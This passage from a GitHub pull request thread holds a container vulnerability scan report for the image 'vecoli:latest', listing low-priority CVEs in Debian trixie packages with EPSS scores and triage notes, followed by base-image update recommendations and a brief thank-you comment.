Fixed version Not Fixed EPSS Score 0.216% EPSS Percentile 44th percentile Description libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux. openldap (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965184) https://bugs.openldap.org/show_bug.cgi?id=9266 https://bugzilla.redhat.com/show_bug.cgi?id=1740070 RedHat/CentOS applied patch: https://git.centos.org/rpms/openldap/raw/67459960064be9d226d57c5f82aaba0929876813/f/SOURCES/openldap-tlso-dont-check-cn-when-bad-san.patch OpenLDAP upstream did dispute the issue as beeing valid, as the current libldap behaviour does conform with RFC4513. RFC6125 does not superseed the rules for verifying service identity provided in specifications for existing application protocols published prior to RFC6125, like RFC4513 for LDAP. Affected range <=2.6.10+dfsg-1 Fixed version Not Fixed EPSS Score 1.643% EPSS Percentile 82nd percentile Description contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation. openldap (unimportant) http://www.openldap.org/its/index.cgi/Incoming?id=8759 nops slapd-module not built Affected range <=2.6.10+dfsg-1 Fixed version Not Fixed EPSS Score 0.123% EPSS Percentile 32nd percentile Description slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a "kill cat /pathname" command, as demonstrated by openldap-initscript. openldap (unimportant) http://www.openldap.org/its/index.cgi?findid=8703 Negligible security impact, but filed #877512 Affected range <=2.6.10+dfsg-1 Fixed version Not Fixed EPSS Score 2.938% EPSS Percentile 86th percentile Description The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors. openldap (unimportant) Debian builds with GNUTLS, not NSS

systemd 257.9-1~deb13u1 (deb) pkg:deb/debian/systemd@257.9-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13 Affected range <=257.9-1~deb13u1 Fixed version Not Fixed EPSS Score 0.094% EPSS Percentile 27th percentile Description An issue was discovered in systemd 253. An attacker can modify the contents of past events in a sealed log file and then adjust the file such that checking the integrity shows no error, despite modifications. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability." systemd (unimportant) Disputed by upstream https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf Affected range <=257.9-1~deb13u1 Fixed version Not Fixed EPSS Score 0.100% EPSS Percentile 28th percentile Description An issue was discovered in systemd 253. An attacker can truncate a sealed log file and then resume log sealing such that checking the integrity shows no error, despite modifications. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability." systemd (unimportant) Disputed by upstream https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf Affected range <=257.9-1~deb13u1 Fixed version Not Fixed EPSS Score 0.128% EPSS Percentile 33rd percentile Description An issue was discovered in systemd 253. An attacker can modify a sealed log file such that, in some views, not all existing and sealed log messages are displayed. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability." systemd (unimportant) Disputed by upstream https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf Affected range <=257.9-1~deb13u1 Fixed version Not Fixed EPSS Score 0.042% EPSS Percentile 13th percentile Description systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files. systemd (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725357) [wheezy] - systemd (/etc/tmpfiles.d not supported in Wheezy) https://bugzilla.redhat.com/show_bug.cgi?id=859060 only relevant to systems running systemd along with selinux

curl 8.14.1-2+deb13u2 (deb) pkg:deb/debian/curl@8.14.1-2%2Bdeb13u2?os_distro=trixie&os_name=debian&os_version=13 Affected range <=8.14.1-2+deb13u2 Fixed version Not Fixed EPSS Score 0.049% EPSS Percentile 15th percentile Description When doing SSH-based transfers using either SCP or SFTP, and asked to do public key authentication, curl would wrongly still ask and authenticate using a locally running SSH agent. curl 8.18.0-1 (unimportant) https://curl.se/docs/CVE-2025-15224.html Introduced with: curl/curl@c92d2e1 (curl-7_58_0) Fixed by: curl/curl@16d5f2a (curl-8_18_0) Debian builds with libssh2 for SSH backend Affected range <=8.14.1-2+deb13u2 Fixed version Not Fixed EPSS Score 0.021% EPSS Percentile 5th percentile Description When doing SSH-based transfers using either SCP or SFTP, and setting the known_hosts file, libcurl could still mistakenly accept connecting to hosts not present in the specified file if they were added as recognized in the libssh global known_hosts file. curl 8.18.0~rc3-1 (unimportant) https://curl.se/docs/CVE-2025-15079.html Introduced with: curl/curl@c92d2e1 (curl-7_58_0) Fixed by: curl/curl@adca486 (rc-8_18_0-3, curl-8_18_0) Debian builds with libssh2 for SSH backend Affected range <=8.14.1-2+deb13u2 Fixed version Not Fixed EPSS Score 0.007% EPSS Percentile 0th percentile Description When doing multi-threaded LDAPS transfers (LDAP over TLS) with libcurl, changing TLS options in one thread would inadvertently change them globally and therefore possibly also affect other concurrently setup transfers. Disabling certificate verification for a specific transfer could unintentionally disable the feature for other threads as well. curl 8.18.0~rc2-1 (unimportant) https://curl.se/docs/CVE-2025-14017.html Introduced with: curl/curl@ccba0d1 (curl-7_17_0) Fixed by: curl/curl@39d1976 (rc-8_18_0-1, curl-8_18_0) Built with OpenLDAP (only affects the legacy LDAP support) Affected range <=8.14.1-2+deb13u2 Fixed version Not Fixed EPSS Score 0.015% EPSS Percentile 2nd percentile Description curl's code for managing SSH connections when SFTP was done using the wolfSSH powered backend was flawed and missed host verification mechanisms. This prevents curl from detecting MITM attackers and more. curl 8.17.0~rc2-1 (unimportant) https://curl.se/docs/CVE-2025-10966.html Introduced with: curl/curl@6773c7c (curl-7_69_0) Fixed by: curl/curl@b011e3f (rc-8_17_0-1) wolfSSH backend not used in Debian

krb5 1.21.3-5 (deb) pkg:deb/debian/krb5@1.21.3-5?os_distro=trixie&os_name=debian&os_version=13 Affected range <=1.21.3-5 Fixed version Not Fixed EPSS Score 0.062% EPSS Percentile 19th percentile Description Kerberos 5 (aka krb5) 1.21.2 contains a memory leak vulnerability in /krb5/src/lib/gssapi/krb5/k5sealv3.c. krb5 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098754; unimportant) https://github.com/LuMingYinDetect/krb5_defects/blob/main/krb5_detect_2.md Fixed by: krb5/krb5@c5f9c81 Codepath cannot be triggered via API calls, negligible security impact https://mailman.mit.edu/pipermail/kerberos/2024-March/023095.html Affected range <=1.21.3-5 Fixed version Not Fixed EPSS Score 0.206% EPSS Percentile 43rd percentile Description Kerberos 5 (aka krb5) 1.21.2 contains a memory leak in /krb5/src/lib/rpc/pmap_rmt.c. krb5 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098754; unimportant) https://github.com/LuMingYinDetect/krb5_defects/blob/main/krb5_detect_1.md Fixed by: krb5/krb5@c5f9c81 Unused codepath, negligible security impact https://mailman.mit.edu/pipermail/kerberos/2024-March/023095.html Affected range <=1.21.3-5 Fixed version Not Fixed EPSS Score 1.485% EPSS Percentile 81st percentile Description An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable "dbentry->n_key_data" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a "u4" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data. krb5 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889684) https://github.com/poojamnit/Kerberos-V5-1.16-Vulnerabilities/tree/master/Integer%20Overflow non-issue, codepath is only run on trusted input, potential integer overflow is non-issue

coreutils 9.7-3 (deb) pkg:deb/debian/coreutils@9.7-3?os_distro=trixie&os_name=debian&os_version=13 Affected range <=9.7-3 Fixed version Not Fixed EPSS Score 0.018% EPSS Percentile 4th percentile Description A flaw was found in GNU Coreutils. The sort utility's begfield() function is vulnerable to a heap buffer under-read. The program may access memory outside the allocated buffer if a user runs a crafted command using the traditional key format. A malicious input could lead to a crash or leak sensitive data. coreutils (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1106733; unimportant) https://bugzilla.redhat.com/show_bug.cgi?id=2368764 https://lists.gnu.org/archive/html/bug-coreutils/2025-05/msg00036.html https://lists.gnu.org/archive/html/bug-coreutils/2025-05/msg00040.html https://cgit.git.savannah.gnu.org/cgit/coreutils.git/commit/?id=8c9602e3a145e9596dc1a63c6ed67865814b6633 https://www.openwall.com/lists/oss-security/2025/05/27/2 https://debbugs.gnu.org/cgi/bugreport.cgi?bug=78507 Crash in CLI tool, no security impact Affected range <=9.7-3 Fixed version Not Fixed EPSS Score 0.056% EPSS Percentile 17th percentile Description In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition. coreutils (unimportant) http://lists.gnu.org/archive/html/coreutils/2017-12/msg00045.html https://www.openwall.com/lists/oss-security/2018/01/04/3 Documentation patches proposed: https://lists.gnu.org/archive/html/coreutils/2017-12/msg00072.html https://lists.gnu.org/archive/html/coreutils/2017-12/msg00073.html Neutralised by kernel hardening

shadow 1:4.17.4-2 (deb) pkg:deb/debian/shadow@1%3A4.17.4-2?os_distro=trixie&os_name=debian&os_version=13 Affected range <=1:4.17.4-2 Fixed version Not Fixed EPSS Score 0.264% EPSS Percentile 49th percentile Description initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers. shadow (unimportant) See #290803, on Debian LOG_UNKFAIL_ENAB in login.defs is set to no so unknown usernames are not recorded on login failures

bash-completion 1:2.16.0-7 (deb) pkg:deb/debian/bash-completion@1%3A2.16.0-7?os_distro=trixie&os_name=debian&os_version=13 Affected range <=1:2.16.0-7 Fixed version Not Fixed EPSS Score 0.058% EPSS Percentile 18th percentile Description In util-linux before 2.32-rc1, bash-completion/umount allows local users to gain privileges by embedding shell commands in a mountpoint name, which is mishandled during a umount command (within Bash) by a different user, as demonstrated by logging in as root and entering umount followed by a tab character for autocompletion. bash-completion (unimportant) util-linux 2.31.1-0.5 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892179) [jessie] - util-linux (umount completion added later) [wheezy] - util-linux (umount completion added later) Fix in bash-completion's from util-linux: util-linux/util-linux@75f03ba#diff-a47601b5dbce9dc06c3af1deb02758c7 src:util-linux/2.28-1 takes over the umount completion from src:bash-completion (which in turn starting from 1:2.1-4.3 does not provide the umount completion in the binary packaage)

util-linux 2.41-5 (deb) pkg:deb/debian/util-linux@2.41-5?os_distro=trixie&os_name=debian&os_version=13 Affected range <=2.41-5 Fixed version Not Fixed EPSS Score 0.020% EPSS Percentile 4th percentile Description A flaw was found in the util-linux chfn and chsh utilities when compiled with Readline support. The Readline library uses an "INPUTRC" environment variable to get a path to the library config file. When the library cannot parse the specified file, it prints an error message containing data from the file. This flaw allows an unprivileged user to read root-owned files, potentially leading to privilege escalation. This flaw affects util-linux versions prior to 2.37.4. util-linux (unimportant) https://bugzilla.redhat.com/show_bug.cgi?id=2053151 https://lore.kernel.org/util-linux/20220214110609.msiwlm457ngoic6w@ws.net.home/T/#u util-linux/util-linux@faa5a3a util-linux in Debian does build with readline support but chfn and chsh are provided by src:shadow and util-linux is configured with --disable-chfn-chsh

sqlite3 3.46.1-7 (deb) pkg:deb/debian/sqlite3@3.46.1-7?os_distro=trixie&os_name=debian&os_version=13 Affected range <=3.46.1-7 Fixed version Not Fixed EPSS Score 0.378% EPSS Percentile 59th percentile Description A Memory Leak vulnerability exists in SQLite Project SQLite3 3.35.1 and 3.37.0 via maliciously crafted SQL Queries (made via editing the Database File), it is possible to query a record, and leak subsequent bytes of memory that extend beyond the record, which could let a malicious user obtain sensitive information. NOTE: The developer disputes this as a vulnerability stating that If you give SQLite a corrupted database file and submit a query against the database, it might read parts of the database that you did not intend or expect. sqlite3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005974) sqlite (unimportant) https://github.com/guyinatuxedo/sqlite3_record_leaking https://bugzilla.redhat.com/show_bug.cgi?id=2054793 https://sqlite.org/forum/forumpost/056d557c2f8c452ed5bb9c215414c802b215ce437be82be047726e521342161e Negligible security impact

apt 3.0.3 (deb) pkg:deb/debian/apt@3.0.3?os_distro=trixie&os_name=debian&os_version=13 Affected range <=3.0.3 Fixed version Not Fixed EPSS Score 1.509% EPSS Percentile 81st percentile Description It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack. apt (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=642480) Not exploitable in Debian, since no keyring URI is defined

perl 5.40.1-6 (deb) pkg:deb/debian/perl@5.40.1-6?os_distro=trixie&os_name=debian&os_version=13 Affected range <=5.40.1-6 Fixed version Not Fixed EPSS Score 0.195% EPSS Percentile 42nd percentile Description _is_safe in the File::Temp module for Perl does not properly handle symlinks. perl (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776268) http://thread.gmane.org/gmane.comp.security.oss.general/6174/focus=6177 File:Temp::_is_safe() allows unsafe traversal of symlinks [rt.cpan.org #69106] Perl-Toolchain-Gang/File-Temp#14

jansson 2.14-2 (deb) pkg:deb/debian/jansson@2.14-2?os_distro=trixie&os_name=debian&os_version=13 Affected range <=2.14-2 Fixed version Not Fixed EPSS Score 0.257% EPSS Percentile 49th percentile Description An issue was discovered in Jansson through 2.13.1. Due to a parsing error in json_loads, there's an out-of-bounds read-access bug. NOTE: the vendor reports that this only occurs when a programmer fails to follow the API specification jansson (unimportant) OOB Read memory corruption bug akheron/jansson#548 Disputed security impact (only if programmer fails to follow API specifications)

[github-actions]

Recommended fixes for image vecoli:latest

Base image is debian:13-slim

Name	13.2-slim
Digest	sha256:905f0e07e40013bfedf13f38f00e1897b40b51d7ca7cedc01f2d2b7ec8a814eb
Vulnerabilities
Pushed	2 months ago
Size	30 MB
Packages	111
OS	13.2

The base image is also available under the supported tag(s): trixie-slim

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

Tag	Details	Pushed	Vulnerabilities
13-slim Newer image for same tag Also known as: 13.3-slim trixie-slim trixie-20260112-slim	Benefits: Same OS detected Newer image for same tag Image is smaller by 2.7 KB Minor OS version update Tag was pushed more recently Image has same number of vulnerabilities Image contains equal number of packages Tag is using slim variant Image details: Size: 30 MB OS: 13.3	2 weeks ago

Change base image

Tag	Details	Pushed	Vulnerabilities
stable-slim Tag is preferred tag Also known as: stable-20260112-slim	Benefits: Same OS detected Image is smaller by 2.7 KB Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image contains equal number of packages Tag is using slim variant stable-slim was pulled 46K times last month Image details: Size: 30 MB Flavor: debian OS: 12 Slim: ✅	2 weeks ago

[rjuenemann]

Thank you, @thalassemia! I think this is a good system to more selectively run the longer tests, and will help us use resources more efficiently.